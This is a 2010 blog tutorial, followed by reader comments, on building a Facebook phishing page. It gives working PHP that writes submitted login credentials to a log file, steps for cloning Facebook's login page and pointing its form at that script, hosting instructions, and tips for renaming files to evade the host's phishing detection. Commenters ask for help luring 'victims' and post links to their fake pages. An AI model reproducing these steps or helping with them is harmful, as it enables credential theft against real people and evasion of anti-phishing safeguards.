How to hack Facebook using Phishing Page
Sunday, September 5, 2010|
Surbhi Verma
Note: Hacking is a crime. Dont use this tutorial to hack innocent people. I am teaching it for educational purpose only. I will not be responsible for any damage done by you.
First i recommend you all to read my previous article on phishing page "How to make a Fake login page manually" coz here in this post i m not gonna explain all things as i hv done it before.
well, here we go for creating Fake page of Facebook...
Here we will need 3 types of files for facebook:
1. A php file with any name say login.php. This php file places main role to get the passwords of victim
2. index.html which is a fake html page similar to original Page of Facebook.
3. Photos, CSS, js files
Step 1. Creating a login.php file>
Open notepad and paste the following lines there... as save it with name login.php
Code Updated: By mistake i hv missed one line in php file, i hv add that line now. Sorry for inconvenience.
<?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
step 2. Create index.html Page:
2.1. first of all open login page of Facebook.com..... then right click there> save as/save page as> then save it....
check the downloaded file.... there will be
one htm file(Welcome to Facebook.htm)
A folder(Welcome to Facebook_files) containing some pics, css files and js files.(this folder contains 3rd type of files that i hv mentioned above.)
2.2. Now open the htm file with notepad(right click> open with> notepad)...
and then press ctrl +F and search for action... and you will find a line as shown in screenshot.
Note:in case of some other sites may be you find more then one action word... but you have to find out the exact type of line as shown in screen shot.... near which you will find a
tag and method="post" something like that.
2.3. Now replace the url written after action with the name of your php file created in step 1.
Now your fake page is ready....
Save it with name index.html
Step 3: Uploading on a Free Hosting Site:
Now you have to upload all the 3 mentioned files on a free hosting account. Here i m explaining file uploading on http://www.yourfreehosting.net/.
1. first of all sign up for a free hosting Account.
Note: yourfreehosting.net is now not available for free, you can create account on http://www.000webhost.com/
2. After creating Account, login there, then go to control pannel> File Manager.
.jpg)
3. Now remove the preexisting index.html file.
4. Now click on upload files and then upload there index.html and login.php
.jpg)
.jpg)
5. Now click on New directory to make a new folder there and name it "Welcome to Facebook_files"
.jpg)
6. Now open the directory
"Welcome to Facebook_files"
and then upload all the files(css,js, photos) of folder Welcome to Facebook_files,which was downloaded with facebook page in step 2.
Now your phishing page is ready to hack ;)
7. Now give url of ur index page to ur friends, as soon as they will login through ur created fake page,a new log.txt file will be created and their password will be saved in that file.
Note:- If you got any problem, then describe the problem in detail with the link of ur fake page, so that i can check the problem. But if you dont do so, then plz dont expect any help here.
----------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------
Update 21/1/2012: Answer to Frequently asked question
1. Which URL you have to give to your friends or anyone else.
Answer: This is the domain url, that you have ordered/chosen during the time of registration, which is visible for you on almost every page of your free hosting site. Still if you didnt get, then see the pic below....
Here, you see the URL is up there as i mentioned earlier. Also if you press OPEN, given in front of ur index.html file, then a new page will be open, having the url you need in the URL bar.
2. Photos are not appearing on your Fake page?
Answer: It happens because to detect a phishing page, web hosting sites are tracing the name of folders you are uploading, if they found same name as Facebook or any other site, then they dont let you make that folder/ or just block access of files from that folder. So if you just rename the directory uploaded in step 5, they their system will not recognize it. And after renaming you need to edit the index.html file and give this new name every where in file where you found old name. You can do it simply by opening the index.html file with notepad and replace the old directory name with the new name everywhere in the file.
3. log.txt file is not generating/ log.txt file is not saving passwords.
Answer: You should check all steps carefully, this is not a problem if you do every thing correctly.
4. When i open my fake page's url, iget this error. http://error404.000webhost.com/?
Answer: It means ur page has been detected as a phishing page by the web hosting site, try renaming your folders and files. (And dont forget to rename the file/folder name in index.html file also.)
Posted in
Hacking Stuff
220 comments for this post
Leave a reply
Subscribe to:
Post Comments (Atom)
.jpg)
.jpg "Subscribe on Youtube!!")
ashish
April 26, 2012 at 2:15 PM
Maam plzz help ,I'm not sure that which link is to be given to the victim.My email id is s.wufoo@yahoo.com
Ravi
April 27, 2012 at 1:55 PM
Hey Surabhi...which URL I need to send to the victim...? Plzzz help
Normah kassim
May 4, 2012 at 12:48 PM
hello..my problem is when open the index.html it's become error http://error404.000webhost.com/?... why?? can you solve this problem...plizzz....
anuj
May 6, 2012 at 7:27 AM
subhi i m unable to find a url in fb note pad file .plzz tell me how can i find that url and replace it....... plzz tell me
lildude5658301
May 6, 2012 at 10:06 AM
i had renamed the "welcome to facebook"
directory but still there are no pictures in my site
marty
May 8, 2012 at 10:04 AM
surbhi i have finish creating a phishing account..then i tried it.. but the paswords are not stored in the log.txt .. but when i click the "open" of the next.php.. the fb account that i hack will appear.. my question is why the password cannot be stored at the log.txt and there is no log.txt found in my file manager..
jim
May 9, 2012 at 11:43 PM
when i upload the php file it uploads php.txt. why?? can someone hepl me?
Anonymous
May 17, 2012 at 6:25 PM
http://enriqueiglesias.byethost13.com/
This is link of my fake page... but there is a problem that my fake page is not look like original... Why? please cheak it out.
Sashil dath
May 19, 2012 at 2:39 AM
dont use 000webhost it detects the page no matter what and gives a 404 error use some other site
Mani
May 21, 2012 at 3:11 PM
hello the same thing is happening to me... I did everything from creating the login.php file to the index.html to the directory which contains the fake page...I uploaded them and when i enter the site it enters facebook but when i put the username and password and press enter i get this:
header ('Location: http://www.facebook.com'); $handle = fopen("log.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> stats
and no file is created. Thanks for your help
Unknown
June 4, 2012 at 1:31 AM
i keep getting
http://error404.000webhost.com/?
even changed the files names and folder name of the directory and also in my index.php, facebook page opens as it should but when i enter my email addd and my passoword it shows me the error
Please rectify as soon as possible thanks
Unknown
June 4, 2012 at 1:33 AM
everything is fine but i got the error
http://error404.000webhost.com/?
so i changed the name of the files and folders that came with the facebook source page, also changed them in the index.html too but keep gettin
http://error404.000webhost.com/?
please rectify and help me on how to over come this please as soon as possible
Anonymous
June 7, 2012 at 10:04 AM
this link is comming plz reply me here-http://www.facebook.com/jagpreetdgreat?ref=tn_tnmn
http://veryfree.webs.com/�mail.php�?charset_test=€%2C´%2C�%2C�%2C%3F%2C%3F%2C%3F&lsd=ck75x&locale=en_US&email=......&pass=xyz&persistent=1&default_persistent=1&charset_test=€%2C´%2C�%2C�%2C%3F%2C%3F%2C%3F&lsd=ck75x
Anonymous
June 15, 2012 at 7:26 PM
heu surbhi when i am opening index.html it shows unable to access to the network. please solve this issue
Unknown
June 28, 2012 at 7:21 PM
@Surbhi Verma...
I did everything correctly, I got "log.txt" file but the problem is it doesn't show any emails or passwds every time some one log in, the size of file get increased but it just show this...
ltmpl=default
ltmplcache=2
continue=http://mail.google.com/mail/?
service=mail
rm=false
Email=www.davedadon.co.nr
Passwd=www.davedadon.co.nr
rmShown=1
signIn=Sign in
Unknown
July 7, 2012 at 9:29 AM
to make the password and username apear you have to change the get to post inthe facebook notpad
Anonymous
July 9, 2012 at 8:20 AM
i am not getting new log.txt file ?
Unknown
July 9, 2012 at 1:47 PM
hi surbhi i am 14 but still i am nutty about computers..
when i login in to d fake page it redirects 2 me to the php code . not the site where its suppose to redirect me www.facebook.com
Unknown
July 10, 2012 at 2:08 PM
hi..surbhi..i have complete all step but i m not understand which URL send the my friend
Love Moments
July 11, 2012 at 7:16 PM
http://www.000webhost.com/543693.html
use dis hosting webhosting website its free